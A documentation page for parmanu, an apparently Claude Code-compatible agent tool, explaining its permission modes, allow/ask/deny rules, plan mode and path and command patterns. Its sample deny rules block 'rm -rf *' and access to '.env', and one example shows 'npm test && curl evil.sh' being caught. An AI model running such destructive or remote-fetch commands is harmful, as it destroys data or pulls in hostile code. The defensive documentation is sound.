Permissions
In the chat, parmanu decides before every tool call whether it runs, asks you first, or is refused. It reads the same permissions settings Claude Code does, so a project set up for Claude Code behaves the same way in parmanu.
anu -p and anu run don't use permissions: they run unattended, as before.
Modes
| Mode | What runs without asking |
|---|---|
auto (parmanu's default) | Everything, except calls an ask rule matches. Destructive commands still ask. |
default | Read-only tools and calls an allow rule matches. Edits and commands ask. |
acceptEdits | As default, plus file edits. |
plan | Read-only tools only. Everything else is refused until you approve the plan. |
bypassPermissions | Everything. Only deny rules still hold. |
- Shift+Tab steps through
auto,default,acceptEditsandplan. It includesbypassPermissionsonly if the chat started in it. - The footer shows the mode when it isn't
auto. - Thinking levels moved to Alt+T.
- Start in a mode with
anu --permission-mode plan, or setpermissions.defaultModein settings. dontAskis read asbypassPermissions.
Plan mode
In plan mode the model reads, searches and thinks, then calls exit_plan_mode with its plan. You can then:
- Approve the plan. The chat goes back to the mode it was in before plan mode, or to
acceptEditsif you pick that. - Keep planning, with feedback. The model revises the plan and asks again.
When parmanu asks
The question shows the tool and its command or path. The answers are:
- Yes: run it this once.
- Yes, and don't ask again:
- For a command, adds the rule
Bash(<that command>)for the rest of the chat. - For an edit, switches to
acceptEdits. - For other tools, adds a rule for that tool.
- For a command, adds the rule
- No: refuse. Anything you type goes back to the model with the refusal.
Rules
Rules go in any settings file that hooks are read from:
.claude/settings.json.claude/settings.local.json~/.claude/settings.json.anu/settings.json~/.anu/settings.json
{
"permissions": {
"allow": ["Bash(npm test *)", "Bash(git diff:*)", "Edit(src/**)"],
"ask": ["Bash(git push *)"],
"deny": ["Read(.env)", "Edit(.env)", "Bash(rm -rf *)"],
"defaultMode": "acceptEdits"
}
}The lists from all the files add up. The last file that sets defaultMode wins.
A project you haven't trusted (/trust) still gets its deny and ask rules, because they only make parmanu more careful. Its allow rules and defaultMode are skipped, so a cloned repository can't switch the questions off.
The checks run in this order:
denyrefuses the call. A deny rule holds in every mode.- Plan mode refuses anything that isn't read-only.
bypassPermissionsruns the rest.askasks.allowruns the call without asking.
How rules name tools
| Rule | Covers |
|---|---|
Bash, Bash(<command>) | bash, and the checks set_check and baseline |
Edit(<path>) | edit and write |
Write(<path>) | write |
Read(<path>) | read, glob and grep |
Glob, Grep | glob, grep |
mcp__server, mcp__server__tool | a server's tools, or one of them |
| any other name | the tool with that name (skills, extension tools) |
A rule without parentheses covers every call of its tool. Bash(*) is the same as Bash.
Command patterns
Bash(npm test)matches exactlynpm test.Bash(npm run test:*)matchesnpm run testand anything that starts withnpm run test.Bash(git diff *)uses*as a wildcard, and the trailing*is optional: it matchesgit difftoo.
A command chained with &&, ||, ; or | is checked part by part:
- An
allowrule must match every part. - A
denyoraskrule needs to match only one part.
So Bash(npm *) does not allow npm test && curl evil.sh.
Path patterns
Paths use gitignore-style patterns. ** crosses folders; * and ? don't.
| Pattern | Means |
|---|---|
.env, *.env | that name at any depth in the project |
src/**, ./src/**, /src/** | below src in the project root |
secrets/ | everything below secrets |
~/.ssh/** | in your home folder |
//etc/hosts | an absolute path |
On Windows, paths are compared without regard to case.
/permissions
/permissionslists the mode and every rule, with the file it came from./permissions allow|ask|deny <rule>adds a rule for this chat./permissions mode <mode>switches the mode.
To keep a rule, write it in a settings file.
This page is built from docs/permissions.md in parmanu 0.4.14.